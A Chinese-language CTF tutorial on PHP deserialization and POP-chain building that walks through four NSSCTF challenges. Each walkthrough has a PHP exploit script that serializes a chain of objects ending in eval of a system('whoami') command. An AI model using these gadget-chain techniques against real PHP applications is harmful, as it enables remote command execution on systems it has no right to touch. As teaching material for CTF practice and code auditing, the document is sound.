PHP反序列化总结(POP链)
字数 1949 2025-08-22 12:23:12
PHP反序列化与POP链构造详解
前言
PHP反序列化是CTF比赛中常见的题型,也是代码审计中的重要板块。通过反序列化操作,攻击者可以执行恶意命令,获取shell或其他权限。本文将详细讲解PHP反序列化中POP链的构造方法。
前置知识:PHP魔术方法
魔术方法是PHP面向对象中特有的特性,以双下划线开头,在特定情况下自动触发。以下是POP链构造中常见的魔术方法:
__wakeup():在反序列化时自动调用__destruct():对象被销毁时自动调用__toString():对象被当做字符串处理时调用(如echo、==、preg_match()等)__call():调用不存在的方法时触发__get():访问不可访问属性时调用__set():给不存在的成员属性赋值时触发__invoke():对象被当做函数调用时触发
POP链构造思路
- 确定链尾:找到执行危险操作(如eval、system等)的类和方法
- 确定入口:通常是
__wakeup或__destruct方法 - 搭建桥梁:通过魔术方法的触发条件连接各个类
实例分析
案例1:三类的简单POP链
题目来源:NSSCTF 5816
类结构:
- step0ne(入口类,含
__destruct) - steptw0(桥梁类,含
__toString) - stepthr33(链尾类,含
__call和eval)
POP链构造:
step0ne::__destruct-> 将$Manbo赋值为steptw0实例- 触发
steptw0::__toString-> 将$zabuzabu赋值为stepthr33实例 - 调用不存在方法
manbo()-> 触发stepthr33::__call - 执行eval中的命令
EXP:
<?php
class step0ne {
public $Manbo;
}
class steptw0 {
public $zabuzabu;
}
class stepthr33 {
public $hajimi = "system('whoami');";
}
$obj = new step0ne();
$obj->Manbo = new steptw0();
$obj->Manbo->zabuzabu = new stepthr33();
echo serialize($obj);
?>
案例2:使用__get和__set的POP链
题目来源:NSSCTF 5819
类结构:
- step0ne(入口类,含
__destruct) - steptw0(桥梁类,含
__get和__set) - stepthr33(链尾类,含
__call)
POP链构造:
step0ne::__destruct-> 将$nl赋值为steptw0实例- 访问不存在的base64属性 -> 触发
steptw0::__get - 给不存在的tail属性赋值 -> 触发
steptw0::__set - 调用不存在方法 -> 触发
stepthr33::__call
EXP:
<?php
class step0ne {
public $nl;
}
class steptw0 {
public $tail;
}
class stepthr33 {
public $hajimi = "system('whoami');";
}
$obj = new step0ne();
$obj->nl = new steptw0();
$obj->nl->tail = new stepthr33();
echo serialize($obj);
?>
案例3:五类的复杂POP链
题目来源:NSSCTF 5807
类结构:
- step0ne(入口类,含
__destruct) - steptw0(桥梁类1,含
__toString) - stepthr33(桥梁类2)
- stepf0ur(桥梁类3,含
__set) - stepfinall(链尾类,含
__call)
POP链构造:
step0ne::__destruct-> 赋值触发steptw0::__toStringsteptw0::__toString-> 连接stepthr33stepthr33-> 连接stepf0urstepf0ur::__set中的方法调用 -> 触发stepfinall::__call
EXP:
<?php
class step0ne {
public $Manbo;
}
class steptw0 {
public $zabuzabu;
}
class stepthr33 {
public $nainiu;
}
class stepf0ur {
public $nainiu;
}
class stepfinall {
public $hajimi = "system('whoami');";
}
$obj = new step0ne();
$obj->Manbo = new steptw0();
$obj->Manbo->zabuzabu = new stepthr33();
$obj->Manbo->zabuzabu->nainiu = new stepf0ur();
$obj->Manbo->zabuzabu->nainiu->nainiu = new stepfinall();
echo serialize($obj);
?>
案例4:六类的复杂POP链(SWPUCTF 2024)
题目来源:NSSCTF 5945
类结构:
- 眼见喜(入口类,含
__wakeup) - 耳听怒(桥梁类1,含
__invoke) - 鼻嗅爱(桥梁类2,含
__toString) - 舌尝思(桥梁类3)
- 身本忧(桥梁类4)
- 意见欲(链尾类,含
__call)
POP链构造:
眼见喜::__wakeup-> 满足条件触发耳听怒::__invoke耳听怒::__invoke-> echo触发鼻嗅爱::__toString鼻嗅爱::__toString-> 连接身本忧身本忧调用不存在方法 -> 触发意见欲::__call
特殊处理:
- 私有属性问题:高版本PHP可忽略访问性,或改为public
- 引用绕过:
$亢金龙 = &$定风珠
EXP:
<?php
class 眼见喜 {
public $幽魂;
}
class 耳听怒 {
public $黄风大圣;
}
class 鼻嗅爱 {
public $定风珠 = '落地';
public $亢金龙;
public function __construct() {
$this->亢金龙 = &$this->定风珠;
}
}
class 身本忧 {
public $夜叉;
public $左轮;
}
class 意见欲 {
public $hajimi = "system('whoami');";
}
$obj = new 眼见喜();
$obj->幽魂 = new 耳听怒();
$obj->幽魂->黄风大圣 = new 鼻嗅爱();
$obj->幽魂->黄风大圣->黄风大圣 = new 身本忧();
$obj->幽魂->黄风大圣->黄风大圣->夜叉 = new 意见欲();
echo serialize($obj);
?>
总结
- 快速定位:先找链尾(危险函数)和入口(
__wakeup/__destruct) - 魔术方法串联:根据触发条件连接各个类
- 条件绕过:注意类中的条件判断,使用引用等技术绕过
- 属性访问:处理私有属性问题(改为public或使用高版本PHP特性)
- 简洁构造:变量越少越好,提高可读性和可维护性
通过大量练习和总结,可以熟练掌握POP链的构造技巧,应对各种反序列化题目。